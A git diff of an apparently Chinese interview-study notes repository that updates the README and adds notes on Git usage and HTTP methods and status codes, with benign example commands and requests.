1
.gitignore
vendored
Normal file
@ -0,0 +1 @@
|
||||
*.txt
|
115
README.md
@ -1,18 +1,13 @@
|
||||
<!--  </br> -->
|
||||
| Ⅰ | Ⅱ | Ⅲ | Ⅳ | Ⅴ | Ⅵ | Ⅶ | Ⅷ | Ⅸ | Ⅹ |
|
||||
| :--------: | :---------: | :---------: | :---------: | :---------: | :---------:| :---------: | :-------: | :-------:| :------:|
|
||||
|网络[:cloud:](#网络-cloud) |操作系统[:computer:](#操作系统-computer)| 算法[:pencil2:](#数据结构与算法-pencil2)| 面向对象[:couple:](#面向对象-couple) |数据库[:floppy_disk:](#数据库-floppy_disk)| Java [:coffee:](#java-coffee)| 分布式[:sweat_drops:](#分布式-sweat_drops)| 工具[:hammer:](#工具-hammer)| 编码实践[:speak_no_evil:](#编码实践-speak_no_evil)| 后记[:memo:](#后记-memo) |
|
||||
</br>
|
||||
|
||||
<!-- <br>
|
||||
<div align="center">
|
||||
<img src="https://github.com/CyC2018/InterviewNotes/blob/master/pics/handbook.png" alt="" width="225"/>
|
||||
<img src="https://img.shields.io/badge/update-today-blue.svg"/> <img src="https://img.shields.io/badge/gitbook-making-yellow.svg"/>
|
||||
</div>
|
||||
<br> -->
|
||||
:loudspeaker: 本仓库不参与商业行为,不向读者收取任何费用。
|
||||
|
||||
<!-- <img src="https://github.com/CyC2018/InterviewNotes/blob/master/pics+/handbook.png" alt="" width="225"/> -->
|
||||
|
||||
<!--   -->
|
||||
|
||||
<!--   -->
|
||||
|
||||
 
|
||||
:loudspeaker: This repository is not engaging in business activities, and does not charge readers any fee.
|
||||
</br></br>
|
||||
|
||||
## 网络 :cloud:
|
||||
|
||||
@ -38,7 +33,7 @@
|
||||
|
||||
> [算法](https://github.com/CyC2018/InnterviewNotes/blob/master/notes/算法.md)
|
||||
|
||||
整理自《算法 第四版》,主要整理了面试常问的排序和查找算法。
|
||||
整理自《算法 第四版》
|
||||
|
||||
> [剑指 Offer 题解](https://github.com/CyC2018/InnterviewNotes/blob/master/notes/剑指%20offer%20题解.md)
|
||||
|
||||
@ -46,7 +41,7 @@
|
||||
|
||||
> [Leetcode 题解](https://github.com/CyC2018/InnterviewNotes/blob/master/notes/Leetcode%20题解.md)
|
||||
|
||||
对题目做了一个分类,并对每种题型的解题思路做了总结。已经整理了 300+ 的题目,基本涵盖所有经典题目。
|
||||
对题目做了一个分类,并对每种题型的解题思路做了总结。
|
||||
|
||||
## 面向对象 :couple:
|
||||
|
||||
@ -56,7 +51,7 @@
|
||||
|
||||
> [面向对象思想](https://github.com/CyC2018/InnterviewNotes/blob/master/notes/面向对象思想.md)
|
||||
|
||||
一些面向对象思想和原则。
|
||||
一些面向对象思想和设计原则。
|
||||
|
||||
## 数据库 :floppy_disk:
|
||||
|
||||
@ -64,19 +59,23 @@
|
||||
|
||||
整理自《数据库系统概论 第四版》
|
||||
|
||||
> [SQL 语法](https://github.com/CyC2018/InnterviewNotes/blob/master/notes/SQL%20语法.md)
|
||||
> [SQL](https://github.com/CyC2018/InnterviewNotes/blob/master/notes/SQL.md)
|
||||
|
||||
整理自《SQL 必知必会》
|
||||
|
||||
> [MySQL](https://github.com/CyC2018/InnterviewNotes/blob/master/notes/MySQL.md)
|
||||
|
||||
整理自《高性能 MySQL》,整理了一些重点内容。
|
||||
整理自《高性能 MySQL》
|
||||
|
||||
> [Redis](https://github.com/CyC2018/InnterviewNotes/blob/master/notes/Redis.md)
|
||||
|
||||
整理自《Redis 设计与实现》和《Redis 实战》
|
||||
|
||||
## Java :coffee:
|
||||
|
||||
> [JVM](https://github.com/CyC2018/InnterviewNotes/blob/master/notes/JVM.md)
|
||||
> [Java 虚拟机](https://github.com/CyC2018/InnterviewNotes/blob/master/notes/Java%20虚拟机.md)
|
||||
|
||||
整理自《深入理解 Java 虚拟机》,主要整理了内存模型、垃圾回收以及类加载机制。
|
||||
整理自《深入理解 Java 虚拟机》
|
||||
|
||||
> [Java 并发](https://github.com/CyC2018/InnterviewNotes/blob/master/notes/Java%20并发.md)
|
||||
|
||||
@ -86,15 +85,44 @@
|
||||
|
||||
容器的一些总结,包含容器源码的分析。
|
||||
|
||||
> [Java IO](https://github.com/CyC2018/InnterviewNotes/blob/master/notes/Java%20IO.md)
|
||||
> [Java I/O](https://github.com/CyC2018/InnterviewNotes/blob/master/notes/Java%20IO.md)
|
||||
|
||||
File、InputStream OutputStream、Reader Writer、Serializable、Socket、NIO
|
||||
File, InputStream OutputStream, Reader Writer, Serializable, Socket, NIO
|
||||
|
||||
> [Java 基础](https://github.com/CyC2018/InnterviewNotes/blob/master/notes/Java%20基础.md)
|
||||
|
||||
整理了一些常见考点。
|
||||
|
||||
## 编码实践 :hammer:
|
||||
> [JDK 中的设计模式](https://github.com/CyC2018/InnterviewNotes/blob/master/notes/JDK%20中的设计模式.md)
|
||||
|
||||
对每种设计模式做了一个总结,并给出在 JDK 中的使用实例。
|
||||
|
||||
## 分布式 :sweat_drops:
|
||||
|
||||
> [分布式基础](https://github.com/CyC2018/InnterviewNotes/blob/master/notes/分布式基础.md)
|
||||
|
||||
整理自《大规模分布式存储系统》
|
||||
|
||||
> [一致性协议](https://github.com/CyC2018/InnterviewNotes/blob/master/notes/一致性协议.md)
|
||||
|
||||
两阶段提交、Paxos、Raft、拜占庭将军问题。
|
||||
|
||||
> [分布式问题分析](https://github.com/CyC2018/InnterviewNotes/blob/master/notes/分布式问题分析.md)
|
||||
|
||||
分布式事务、负载均衡算法与实现、分布式锁、分布式 Session、分库分表的分布式困境与应对之策。
|
||||
|
||||
|
||||
## 工具 :hammer:
|
||||
|
||||
> [Git](https://github.com/CyC2018/InnterviewNotes/blob/master/notes/Git.md)
|
||||
|
||||
整理一些 Git 的使用和概念。
|
||||
|
||||
> [正则表达式](https://github.com/CyC2018/InnterviewNotes/blob/master/notes/正则表达式.md)
|
||||
|
||||
整理自《正则表达式必知必会》
|
||||
|
||||
## 编码实践 :speak_no_evil:
|
||||
|
||||
> [重构](https://github.com/CyC2018/InnterviewNotes/blob/master/notes/重构.md)
|
||||
|
||||
@ -108,33 +136,40 @@ File、InputStream OutputStream、Reader Writer、Serializable、Socket、NIO
|
||||
|
||||
Google 开源项目的代码风格规范。
|
||||
|
||||
<!-- ## 资料下载 :arrow_down:
|
||||
|
||||
> [百度网盘](https://pan.baidu.com/s/1o9oD1s2#list/path=%2F)
|
||||
|
||||
一些 PDF 书籍 -->
|
||||
|
||||
## 后记 :memo:
|
||||
|
||||
网上有很多相关的资料,但是这些资料都比较零散。本仓库的笔记是从经典的书籍和材料中整理而来,在整理出重点的同时会尽可能保证知识的系统性,因此比较适合作为应对面试的学习资料。
|
||||
**关于仓库**
|
||||
|
||||
笔记内容按照 [中文文案排版指北](http://mazhuang.org/wiki/chinese-copywriting-guidelines/#%E4%B8%8D%E8%A6%81%E4%BD%BF%E7%94%A8%E4%B8%8D%E5%9C%B0%E9%81%93%E7%9A%84%E7%BC%A9%E5%86%99) 进行排版,以保证内容的可读性。这里提供了本人实现的 Markdown 文档排版工具的下载:[Markdown-Typesetting](https://github.com/CyC2018/Markdown-Typesetting)。
|
||||
本仓库是笔者在准备 2018 年春招实习过程中的学习总结,内容以计算机书籍的学习笔记为主,在整理重点知识的同时会尽量保证知识的系统性。
|
||||
|
||||
由于 Github 使用的 GFM 不支持 MathJax 公式,也不支持 TOC 标记,为了把本地的 Markdown 文档转换为 GFM 支持的格式,需要替换 MathJax 公式为 CodeCogs 的云服务和重新生成 TOC 目录。并且为了让图片显示效果更好,笔记内容基本使用了 <center> 标记来让图片居中显示,但是 GFM 却不支持 <center> 标记,因此也需要进行一定的转换。这里提供了本人实现的 GFM 文档转换工具的下载:[GFM-Converter](https://github.com/CyC2018/GFM-Converter)。
|
||||
**关于贡献**
|
||||
|
||||
因为大部分内容是一个字一个字打上去的,难免会有一些笔误,如果发现,可以直接在相应的文档上编辑修改。
|
||||
因为大部分内容是笔者一个字一个字打上去的,所有难免会有一些笔误。如果发现,可以直接在相应的文档上编辑修改。
|
||||
|
||||
如果觉得内容不够完善或者有写的不好的地方,您可以在 Issues 中发表反馈意见。
|
||||
笔者能力有限,很多内容还不够完善。如果您希望和笔者一起完善这个仓库,可以在发表一个 Issue,表明您想要添加的内容,笔者会及时查看。
|
||||
|
||||
笔记内容可供个人随意使用,转载或者引用请注明出处,毕竟写了很长时间没那么轻松~
|
||||
因为不打算将这个仓库做成一个大而全的面试宝典,只希望添加一些比较通用的基础知识,或者是与 Java 和分布式相关的内容,但是不添加 Java Web 相关的内容。
|
||||
|
||||
## Donate
|
||||
您也可以在 Issues 中发表关于改进本仓库的建议。
|
||||
|
||||
[Alipay](https://github.com/CyC2018/InterviewNotes/blob/master/other/alipay.md)
|
||||
**关于上传**
|
||||
|
||||
## License
|
||||
笔者在本地使用为知笔记软件进行书写,为了方便将本地笔记内容上传到 Github 上,实现了一整套自动化上传方案,包括文本文件的导出、提取图片、Markdown 文档转换、Git 同步。
|
||||
|
||||
<a rel="license" href="http://creativecommons.org/licenses/by-nc-sa/3.0/cn/"><img alt="知识共享许可协议" style="border-width:0" src="https://i.creativecommons.org/l/by-nc-sa/3.0/cn/88x31.png" /></a>
|
||||
进行 Markdown 文档转换是因为 Github 使用的 GFM 不支持 MathJax 公式和 TOC 标记,所以需要替换 MathJax 公式为 CodeCogs 的云服务和重新生成 TOC 目录。这里提供了笔者实现的 GFM 文档转换工具的下载:[GFM-Converter](https://github.com/CyC2018/GFM-Converter)。
|
||||
|
||||
**关于排版**
|
||||
|
||||
笔记内容按照 [中文文案排版指北](http://mazhuang.org/wiki/chinese-copywriting-guidelines/#%E4%B8%8D%E8%A6%81%E4%BD%BF%E7%94%A8%E4%B8%8D%E5%9C%B0%E9%81%93%E7%9A%84%E7%BC%A9%E5%86%99) 进行排版,以保证内容的可读性。这里提供了笔者实现的中英混排文档在线排版工具:[Text-Typesetting](https://github.com/CyC2018/Markdown-Typesetting),目前实现了加空格的功能,之后打算实现对英文专有名词提示首字母大写的功能。
|
||||
|
||||
不使用 `![]()` 这种方式来引用图片是为了能够控制图片以合适的大小显示。而且 GFM 不支持 `<center> ![]() </center>` 让图片居中显示,只能使用 `<div align="center"> <img src=""/> </div>` ,所以只能使用 img 标签来引用图片。
|
||||
|
||||
**关于转载**
|
||||
|
||||
本仓库内容使用到的资料都会在最后面的参考资料中给出引用链接,希望您在使用本仓库的内容时也能给出相应的引用链接。
|
||||
|
||||
**鸣谢**
|
||||
|
||||
[TeeKee](https://github.com/linw7)
|
||||
|
||||
本作品采用 <a rel="license" href="http://creativecommons.org/licenses/by-nc-sa/3.0/cn/">知识共享署名-非商业性使用-相同方式共享 3.0 中国大陆许可协议</a> 进行许可。
|
||||
|
||||
|
158
notes/Git.md
Normal file
@ -0,0 +1,158 @@
|
||||
<!-- GFM-TOC -->
|
||||
* [学习资料](#学习资料)
|
||||
* [集中式与分布式](#集中式与分布式)
|
||||
* [Git 的中心服务器](#git-的中心服务器)
|
||||
* [Git 工作流](#git-工作流)
|
||||
* [分支实现](#分支实现)
|
||||
* [冲突](#冲突)
|
||||
* [Fast forward](#fast-forward)
|
||||
* [分支管理策略](#分支管理策略)
|
||||
* [储藏(Stashing)](#储藏stashing)
|
||||
* [SSH 传输设置](#ssh-传输设置)
|
||||
* [.gitignore 文件](#gitignore-文件)
|
||||
* [Git 命令一览](#git-命令一览)
|
||||
<!-- GFM-TOC -->
|
||||
|
||||
|
||||
# 学习资料
|
||||
|
||||
- [Git - 简明指南](http://rogerdudler.github.io/git-guide/index.zh.html)
|
||||
- [图解 Git](http://marklodato.github.io/visual-git-guide/index-zh-cn.html)
|
||||
- [廖雪峰 : Git 教程](https://www.liaoxuefeng.com/wiki/0013739516305929606dd18361248578c67b8067c8c017b000)
|
||||
- [Learn Git Branching](https://learngitbranching.js.org/)
|
||||
|
||||
# 集中式与分布式
|
||||
|
||||
Git 属于分布式版本控制系统,而 SVN 属于集中式。
|
||||
|
||||
集中式版本控制只有中心服务器拥有一份代码,而分布式版本控制每个人的电脑上就有一份完整的代码。
|
||||
|
||||
集中式版本控制有安全性问题,当中心服务器挂了所有人都没办法工作了。
|
||||
|
||||
集中式版本控制需要连网才能工作,如果网速过慢,那么提交一个文件的会慢的无法让人忍受。而分布式版本控制不需要连网就能工作。
|
||||
|
||||
分布式版本控制新建分支、合并分支操作速度非常快,而集中式版本控制新建一个分支相当于复制一份完整代码。
|
||||
|
||||
# Git 的中心服务器
|
||||
|
||||
Git 的中心服务器用来交换每个用户的修改。没有中心服务器也能工作,但是中心服务器能够 24 小时保持开机状态,这样就能更方便的交换修改。Github 就是一种 Git 中心服务器。
|
||||
|
||||
# Git 工作流
|
||||
|
||||
<div align="center"> <img src="../pics//a1198642-9159-4d88-8aec-c3b04e7a2563.jpg"/> </div><br>
|
||||
|
||||
新建一个仓库之后,当前目录就成为了工作区,工作区下有一个隐藏目录 .git,它属于 Git 的版本库。
|
||||
|
||||
Git 版本库有一个称为 stage 的暂存区,还有自动创建的 master 分支以及指向分支的 HEAD 指针。
|
||||
|
||||
<div align="center"> <img src="../pics//46f66e88-e65a-4ad0-a060-3c63fe22947c.png"/> </div><br>
|
||||
|
||||
- git add files 把文件的修改添加到暂存区
|
||||
- git commit 把暂存区的修改提交到当前分支,提交之后暂存区就被清空了
|
||||
- git reset -- files 使用当前分支上的修改覆盖暂缓区,用来撤销最后一次 git add files
|
||||
- git checkout -- files 使用暂存区的修改覆盖工作目录,用来撤销本地修改
|
||||
|
||||
<div align="center"> <img src="../pics//17976404-95f5-480e-9cb4-250e6aa1d55f.png"/> </div><br>
|
||||
|
||||
可以跳过暂存区域直接从分支中取出修改或者直接提交修改到分支中
|
||||
|
||||
- git commit -a 直接把所有文件的修改添加到暂缓区然后执行提交
|
||||
- git checkout HEAD -- files 取出最后一次修改,可以用来进行回滚操作
|
||||
|
||||
# 分支实现
|
||||
|
||||
Git 把每次提交都连成一条时间线。分支使用指针来实现,例如 master 分支指针指向时间线的最后一个节点,也就是最后一次提交。HEAD 指针指向的是当前分支。
|
||||
|
||||
<div align="center"> <img src="../pics//fb546e12-e1fb-4b72-a1fb-8a7f5000dce6.jpg"/> </div><br>
|
||||
|
||||
新建分支是新建一个指针指向时间线的最后一个节点,并让 HEAD 指针指向新分支表示新分支成为当前分支。
|
||||
|
||||
<div align="center"> <img src="../pics//bc775758-89ab-4805-9f9c-78b8739cf780.jpg"/> </div><br>
|
||||
|
||||
每次提交只会让当前分支向前移动,而其它分支不会移动。
|
||||
|
||||
<div align="center"> <img src="../pics//5292faa6-0141-4638-bf0f-bb95b081dcba.jpg"/> </div><br>
|
||||
|
||||
合并分支也只需要改变指针即可。
|
||||
|
||||
<div align="center"> <img src="../pics//1164a71f-413d-494a-9cc8-679fb6a2613d.jpg"/> </div><br>
|
||||
|
||||
# 冲突
|
||||
|
||||
当两个分支都对同一个文件的同一行进行了修改,在分支合并时就会产生冲突。
|
||||
|
||||
<div align="center"> <img src="../pics//58e57a21-6b6b-40b6-af85-956dd4e0f55a.jpg"/> </div><br>
|
||||
|
||||
Git 会使用 <<<<<<< ,======= ,>>>>>>> 标记出不同分支的内容,只需要把不同分支中冲突部分修改成一样就能解决冲突。
|
||||
|
||||
```
|
||||
<<<<<<< HEAD
|
||||
Creating a new branch is quick & simple.
|
||||
=======
|
||||
Creating a new branch is quick AND simple.
|
||||
>>>>>>> feature1
|
||||
```
|
||||
|
||||
# Fast forward
|
||||
|
||||
"快进式合并"(fast-farward merge),会直接将 master 分支指向合并的分支,这种模式下进行分支合并会丢失分支信息,也就不能在分支历史上看出分支信息。
|
||||
|
||||
可以在合并时加上 --no-ff 参数来禁用 Fast forward 模式,并且加上 -m 参数让合并时产生一个新的 commit。
|
||||
|
||||
```
|
||||
$ git merge --no-ff -m "merge with no-ff" dev
|
||||
```
|
||||
|
||||
<div align="center"> <img src="../pics//dd78a1fe-1ff3-4bcf-a56f-8c003995beb6.jpg"/> </div><br>
|
||||
|
||||
# 分支管理策略
|
||||
|
||||
master 分支应该是非常稳定的,只用来发布新版本;
|
||||
|
||||
日常开发在开发分支 dev 上进行。
|
||||
|
||||
<div align="center"> <img src="../pics//245fd2fb-209c-4ad5-bc5e-eb5664966a0e.jpg"/> </div><br>
|
||||
|
||||
# 储藏(Stashing)
|
||||
|
||||
在一个分支上操作之后,如果还没有将修改提交到分支上,此时进行切换分支,那么另一个分支上也能看到新的修改。这是因为所有分支都共用一个工作区的缘故。
|
||||
|
||||
可以使用 git stash 将当前分支的修改储藏起来,此时当前工作区的所有修改都会被存到栈上,也就是说当前工作区是干净的,没有任何未提交的修改。此时就可以安全的切换到其它分支上了。
|
||||
|
||||
```
|
||||
$ git stash
|
||||
Saved working directory and index state \ "WIP on master: 049d078 added the index file"
|
||||
HEAD is now at 049d078 added the index file (To restore them type "git stash apply")
|
||||
```
|
||||
|
||||
该功能可以用于 bug 分支的实现。如果当前正在 dev 分支上进行开发,但是此时 master 上有个 bug 需要修复,但是 dev 分支上的开发还未完成,不想立即提交。在新建 bug 分支并切换到 bug 分支之前就需要使用 git stash 将 dev 分支的未提交修改储藏起来。
|
||||
|
||||
# SSH 传输设置
|
||||
|
||||
Git 仓库和 Github 中心仓库之间是通过 SSH 加密。
|
||||
|
||||
如果工作区下没有 .ssh 目录,或者该目录下没有 id_rsa 和 id_rsa.pub 这两个文件,可以通过以下命令来创建 SSH Key:
|
||||
|
||||
```
|
||||
$ ssh-keygen -t rsa -C "youremail@example.com"
|
||||
```
|
||||
|
||||
然后把公钥 id_rsa.pub 的内容复制到 Github "Account settings" 的 SSH Keys 中。
|
||||
|
||||
# .gitignore 文件
|
||||
|
||||
忽略以下文件:
|
||||
|
||||
1. 操作系统自动生成的文件,比如缩略图;
|
||||
2. 编译生成的中间文件,比如 Java 编译产生的 .class 文件;
|
||||
3. 自己的敏感信息,比如存放口令的配置文件。
|
||||
|
||||
不需要全部自己编写,可以到 [https://github.com/github/gitignore](https://github.com/github/gitignore) 中进行查询。
|
||||
|
||||
# Git 命令一览
|
||||
|
||||
<div align="center"> <img src="../pics//7a29acce-f243-4914-9f00-f2988c528412.jpg"/> </div><br>
|
||||
|
||||
比较详细的地址:http://www.cheat-sheets.org/saved-copy/git-cheat-sheet.pdf
|
||||
|
||||
|
701
notes/HTTP.md
@ -1,47 +1,65 @@
|
||||
<!-- GFM-TOC -->
|
||||
* [基础概念](#基础概念)
|
||||
* [一 、基础概念](#一-基础概念)
|
||||
* [Web 基础](#web-基础)
|
||||
* [URL](#url)
|
||||
* [请求和响应报文](#请求和响应报文)
|
||||
* [HTTP 方法](#http-方法)
|
||||
* [GET:获取资源](#get获取资源)
|
||||
* [POST:传输实体主体](#post传输实体主体)
|
||||
* [HEAD:获取报文首部](#head获取报文首部)
|
||||
* [PUT:上传文件](#put上传文件)
|
||||
* [DELETE:删除文件](#delete删除文件)
|
||||
* [OPTIONS:查询支持的方法](#options查询支持的方法)
|
||||
* [TRACE:追踪路径](#trace追踪路径)
|
||||
* [CONNECT:要求用隧道协议连接代理](#connect要求用隧道协议连接代理)
|
||||
* [HTTP 状态码](#http-状态码)
|
||||
* [二、HTTP 方法](#二http-方法)
|
||||
* [GET](#get)
|
||||
* [HEAD](#head)
|
||||
* [POST](#post)
|
||||
* [PUT](#put)
|
||||
* [PATCH](#patch)
|
||||
* [DELETE](#delete)
|
||||
* [OPTIONS](#options)
|
||||
* [CONNECT](#connect)
|
||||
* [TRACE](#trace)
|
||||
* [三、HTTP 状态码](#三http-状态码)
|
||||
* [1XX 信息](#1xx-信息)
|
||||
* [2XX 成功](#2xx-成功)
|
||||
* [3XX 重定向](#3xx-重定向)
|
||||
* [4XX 客户端错误](#4xx-客户端错误)
|
||||
* [5XX 服务器错误](#5xx-服务器错误)
|
||||
* [HTTP 首部](#http-首部)
|
||||
* [四、HTTP 首部](#四http-首部)
|
||||
* [通用首部字段](#通用首部字段)
|
||||
* [请求首部字段](#请求首部字段)
|
||||
* [响应首部字段](#响应首部字段)
|
||||
* [实体首部字段](#实体首部字段)
|
||||
* [具体应用](#具体应用)
|
||||
* [五、具体应用](#五具体应用)
|
||||
* [Cookie](#cookie)
|
||||
* [缓存](#缓存)
|
||||
* [持久连接](#持久连接)
|
||||
* [管线化处理](#管线化处理)
|
||||
* [编码](#编码)
|
||||
* [分块传输](#分块传输)
|
||||
* [分块传输编码](#分块传输编码)
|
||||
* [多部分对象集合](#多部分对象集合)
|
||||
* [范围请求](#范围请求)
|
||||
* [内容协商](#内容协商)
|
||||
* [虚拟主机](#虚拟主机)
|
||||
* [通信数据转发](#通信数据转发)
|
||||
* [HTTPs](#https)
|
||||
* [六、HTTPs](#六https)
|
||||
* [加密](#加密)
|
||||
* [认证](#认证)
|
||||
* [完整性](#完整性)
|
||||
* [HTTP/1.0 与 HTTP/1.1 的区别](#http10-与-http11-的区别)
|
||||
* [七、Web 攻击技术](#七web-攻击技术)
|
||||
* [攻击模式](#攻击模式)
|
||||
* [跨站脚本攻击](#跨站脚本攻击)
|
||||
* [跨站点请求伪造](#跨站点请求伪造)
|
||||
* [SQL 注入攻击](#sql-注入攻击)
|
||||
* [拒绝服务攻击](#拒绝服务攻击)
|
||||
* [八、GET 和 POST 的区别](#八get-和-post-的区别)
|
||||
* [参数](#参数)
|
||||
* [安全](#安全)
|
||||
* [幂等性](#幂等性)
|
||||
* [可缓存](#可缓存)
|
||||
* [XMLHttpRequest](#xmlhttprequest)
|
||||
* [九、各版本比较](#九各版本比较)
|
||||
* [HTTP/1.0 与 HTTP/1.1 的区别](#http10-与-http11-的区别)
|
||||
* [HTTP/1.1 与 HTTP/2.0 的区别](#http11-与-http20-的区别)
|
||||
* [参考资料](#参考资料)
|
||||
<!-- GFM-TOC -->
|
||||
|
||||
|
||||
# 基础概念
|
||||
# 一 、基础概念
|
||||
|
||||
## Web 基础
|
||||
|
||||
@ -57,96 +75,138 @@
|
||||
|
||||
URI 包含 URL 和 URN,目前 WEB 只有 URL 比较流行,所以见到的基本都是 URL。
|
||||
|
||||
<div align="center"> <img src="../pics//4102b7d0-39b9-48d8-82ae-ac4addb7ebfb.jpg"/> </div><br>
|
||||
<div align="center"> <img src="../pics//f716427a-94f2-4875-9c86-98793cf5dcc3.jpg" width="400"/> </div><br>
|
||||
|
||||
## 请求和响应报文
|
||||
|
||||
**请求报文**
|
||||
### 1. 请求报文
|
||||
|
||||
<div align="center"> <img src="../pics//22b39f77-ac47-4978-91ed-84aaf457644c.jpg"/> </div><br>
|
||||
<div align="center"> <img src="../pics//HTTP_RequestMessageExample.png" width=""/> </div><br>
|
||||
|
||||
**响应报文**
|
||||
### 2. 响应报文
|
||||
|
||||
<div align="center"> <img src="../pics//00d8d345-cd4a-48af-919e-209d2788eca7.jpg"/> </div><br>
|
||||
<div align="center"> <img src="../pics//HTTP_ResponseMessageExample.png" width=""/> </div><br>
|
||||
|
||||
# HTTP 方法
|
||||
# 二、HTTP 方法
|
||||
|
||||
客户端发送的请求报文第一行为请求行,包含了方法字段。
|
||||
客户端发送的 **请求报文** 第一行为请求行,包含了方法字段。
|
||||
|
||||
## GET:获取资源
|
||||
## GET
|
||||
|
||||
## POST:传输实体主体
|
||||
> 获取资源
|
||||
|
||||
POST 主要目的不是获取资源,而是传输实体主体数据。
|
||||
当前网络请求中,绝大部分使用的是 GET 方法。
|
||||
|
||||
GET 和 POST 的请求都能使用额外的参数,但是 GET 的参数是以查询字符串出现在 URL 中,而 POST 的参数存储在实体主体部分。
|
||||
## HEAD
|
||||
|
||||
```
|
||||
GET /test/demo_form.asp?name1=value1&name2=value2 HTTP/1.1
|
||||
```
|
||||
```
|
||||
POST /test/demo_form.asp HTTP/1.1
|
||||
Host: w3schools.com
|
||||
name1=value1&name2=value2
|
||||
```
|
||||
|
||||
GET 的传参方式相比于 POST 安全性较差,因为 GET 传的参数在 URL 是可见的,可能会泄露私密信息。并且 GET 只支持 ASCII 字符,如果参数为中文则可能会出现乱码,而 POST 支持标准字符集。
|
||||
|
||||
## HEAD:获取报文首部
|
||||
> 获取报文首部
|
||||
|
||||
和 GET 方法一样,但是不返回报文实体主体部分。
|
||||
|
||||
主要用于确认 URL 的有效性以及资源更新的日期时间等。
|
||||
|
||||
## PUT:上传文件
|
||||
## POST
|
||||
|
||||
由于自身不带验证机制,任何人都可以上传文件,因此存在安全性问题,一般 WEB 网站不使用该方法。
|
||||
> 传输实体主体
|
||||
|
||||
## DELETE:删除文件
|
||||
POST 主要用来传输数据,而 GET 主要用来获取资源。
|
||||
|
||||
更多 POST 与 GET 的比较请见第八章。
|
||||
|
||||
## PUT
|
||||
|
||||
> 上传文件
|
||||
|
||||
由于自身不带验证机制,任何人都可以上传文件,因此存在安全性问题,一般不使用该方法。
|
||||
|
||||
```html
|
||||
PUT /new.html HTTP/1.1
|
||||
Host: example.com
|
||||
Content-type: text/html
|
||||
Content-length: 16
|
||||
|
||||
<p>New File</p>
|
||||
```
|
||||
|
||||
## PATCH
|
||||
|
||||
> 对资源进行部分修改
|
||||
|
||||
PUT 也可以用于修改资源,但是只能完全替代原始资源,PATCH 允许部分修改。
|
||||
|
||||
```html
|
||||
PATCH /file.txt HTTP/1.1
|
||||
Host: www.example.com
|
||||
Content-Type: application/example
|
||||
If-Match: "e0023aa4e"
|
||||
Content-Length: 100
|
||||
|
||||
[description of changes]
|
||||
```
|
||||
|
||||
## DELETE
|
||||
|
||||
> 删除文件
|
||||
|
||||
与 PUT 功能相反,并且同样不带验证机制。
|
||||
|
||||
## OPTIONS:查询支持的方法
|
||||
```html
|
||||
DELETE /file.html HTTP/1.1
|
||||
```
|
||||
|
||||
## OPTIONS
|
||||
|
||||
> 查询支持的方法
|
||||
|
||||
查询指定的 URL 能够支持的方法。
|
||||
|
||||
会返回 Allow: GET, POST, HEAD, OPTIONS 这样的内容。
|
||||
|
||||
## TRACE:追踪路径
|
||||
## CONNECT
|
||||
|
||||
> 要求用隧道协议连接代理
|
||||
|
||||
要求在与代理服务器通信时建立隧道,使用 SSL(Secure Sockets Layer,安全套接层)和 TLS(Transport Layer Security,传输层安全)协议把通信内容加密后经网络隧道传输。
|
||||
|
||||
```html
|
||||
CONNECT www.example.com:443 HTTP/1.1
|
||||
```
|
||||
|
||||
<div align="center"> <img src="../pics//dc00f70e-c5c8-4d20-baf1-2d70014a97e3.jpg" width=""/> </div><br>
|
||||
|
||||
## TRACE
|
||||
|
||||
> 追踪路径
|
||||
|
||||
服务器会将通信路径返回给客户端。
|
||||
|
||||
发送请求时,在 Max-Forwards 首部字段中填入数值,每经过一个服务器就会减 1,当数值为 0 时就停止传输。
|
||||
|
||||
TRACE 一般不会使用,并且它容易受到 XST 攻击(Cross-Site Tracing,跨站追踪),因此更不会去使用它。
|
||||
通常不会使用 TRACE,并且它容易受到 XST 攻击(Cross-Site Tracing,跨站追踪),因此更不会去使用它。
|
||||
|
||||
<div align="center"> <img src="../pics//c8637fd2-3aaa-46c4-b7d9-f24d3fa04781.jpg"/> </div><br>
|
||||
# 三、HTTP 状态码
|
||||
|
||||
## CONNECT:要求用隧道协议连接代理
|
||||
|
||||
主要使用 SSL(Secure Sokets Layer,安全套接字)和 TLS(Transport Layer Security,传输层安全)协议把通信内容加密后经网络隧道传输。
|
||||
|
||||
<div align="center"> <img src="../pics//5994928c-3d2d-45bd-abb1-adc4f5f4d775.jpg"/> </div><br>
|
||||
|
||||
# HTTP 状态码
|
||||
|
||||
服务器返回的响应报文中第一行为状态行,包含了状态码以及原因短语,来告知客户端请求的结果。
|
||||
服务器返回的 **响应报文** 中第一行为状态行,包含了状态码以及原因短语,用来告知客户端请求的结果。
|
||||
|
||||
| 状态码 | 类别 | 原因短语 |
|
||||
| --- | --- | --- |
|
||||
| :---: | :---: | :---: |
|
||||
| 1XX | Informational(信息性状态码) | 接收的请求正在处理 |
|
||||
| 2XX | Success(成功状态码) | 请求正常处理完毕 |
|
||||
| 3XX | Redirection(重定向状态码) | 需要进行附加操作以完成请求 |
|
||||
| 4XX | Client Error(客户端错误状态码) | 服务器无法处理请求 |
|
||||
| 5XX | Server Error(服务器错误状态码) | 服务器处理请求出错 |
|
||||
|
||||
## 1XX 信息
|
||||
|
||||
- **100 Continue** :表明到目前为止都很正常,客户端可以继续发送请求或者忽略这个响应。
|
||||
|
||||
## 2XX 成功
|
||||
|
||||
- **200 OK**
|
||||
|
||||
- **204 No Content** :请求已经成功处理,但是返回的响应报文不包含实体的主体部分。一般在只需要从客户端往服务器发送信息,而不需要返回数据时使用。
|
||||
|
||||
- **206 Partial Content**
|
||||
- **206 Partial Content** :表示客户端进行了范围请求。响应报文包含由 Content-Range 指定范围的实体内容。
|
||||
|
||||
## 3XX 重定向
|
||||
|
||||
@ -154,21 +214,19 @@ TRACE 一般不会使用,并且它容易受到 XST 攻击(Cross-Site Tracing
|
||||
|
||||
- **302 Found** :临时性重定向
|
||||
|
||||
- **303 See Other**
|
||||
- **303 See Other** :和 302 有着相同的功能,但是 303 明确要求客户端应该采用 GET 方法获取资源。
|
||||
|
||||
- 注:虽然 HTTP 协议规定 301、302 状态下重定向时不允许把 POST 方法改成 GET 方法,但是大多数浏览器都会 在 301、302 和 303 状态下的重定向把 POST 方法改成 GET 方法。
|
||||
- 注:虽然 HTTP 协议规定 301、302 状态下重定向时不允许把 POST 方法改成 GET 方法,但是大多数浏览器都会在 301、302 和 303 状态下的重定向把 POST 方法改成 GET 方法。
|
||||
|
||||
- **304 Not Modified** :如果请求报文首部包含一些条件,例如:If-Match,If-ModifiedSince,If-None-Match,If-Range,If-Unmodified-Since,但是不满足条件,则服务器会返回 304 状态码。
|
||||
